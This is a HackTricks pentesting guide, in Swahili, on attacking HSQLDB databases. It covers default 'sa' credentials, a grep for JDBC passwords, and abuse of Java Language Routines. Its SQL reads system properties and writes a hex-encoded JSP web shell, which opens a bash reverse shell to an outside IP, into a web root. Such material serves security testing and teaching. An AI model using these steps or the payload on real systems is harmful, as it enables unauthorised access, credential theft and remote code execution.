tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Taarifa za Msingi

HSQLDB (HyperSQL DataBase) ni mfumo mkuu wa hifadhidata ya SQL inayohusiana ulioandikwa kwa Java. Inatoa injini ndogo, ya haraka ya hifadhidata yenye nyuzi nyingi na ya muamala yenye meza za ndani na za diski na inasaidia hali za kuingizwa na seva.

Bandari ya kawaida: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Taarifa

Mipangilio ya Kawaida

Kumbuka kwamba kwa kawaida huduma hii inafanya kazi katika kumbukumbu au imefungwa kwa localhost. Ikiwa umeipata, huenda umefanya matumizi ya huduma nyingine na unatafuta kuongeza mamlaka.

Akawali, akidi za kawaida ni sa zikiwa na nenosiri tupu.

Ikiwa umefanya matumizi ya huduma nyingine, tafuta akidi zinazowezekana kwa kutumia

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Kumbuka jina la database kwa makini - utahitaji hilo kuungana.

Info Gathering

Unganisha na DB instance kwa kupakua HSQLDB na kutoa hsqldb/lib/hsqldb.jar. Endesha programu ya GUI (eww) kwa kutumia java -jar hsqldb.jar na uungane na instance kwa kutumia akidi zilizogunduliwa/za udhaifu.

Kumbuka URL ya muunganisho itakuwa na muonekano kama huu kwa mfumo wa mbali: jdbc:hsqldb:hsql://ip/DBNAME.

Tricks

Java Language Routines

Tunaweza kuita mbinu za statiki za darasa la Java kutoka HSQLDB kwa kutumia Java Language Routines. Kumbuka kwamba darasa linaloitwa linahitaji kuwa katika classpath ya programu.

JRTs zinaweza kuwa functions au procedures. Functions zinaweza kuitwa kupitia taarifa za SQL ikiwa mbinu ya Java inarudisha moja au zaidi ya mabadiliko ya msingi yanayofaa kwa SQL. Zinaitwa kwa kutumia taarifa ya VALUES.

Ikiwa mbinu ya Java tunayotaka kuita inarudisha void, tunahitaji kutumia taratibu inayoitwa kwa taarifa ya CALL.

Reading Java System Properties

Unda kazi:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Tekeleza kazi:

text
VALUES(getsystemproperty('user.name'))

Unaweza kupata orodha ya mali za mfumo hapa.

Andika Maudhui kwenye Faili

Unaweza kutumia com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget iliyoko katika JDK (inayojiendesha kwenye njia ya darasa la programu) kuandika vitu vilivyoandikwa kwa hex kwenye diski kupitia utaratibu maalum. Kumbuka ukubwa wa juu wa 1024 bytes.

Unda utaratibu:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Tekeleza utaratibu:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks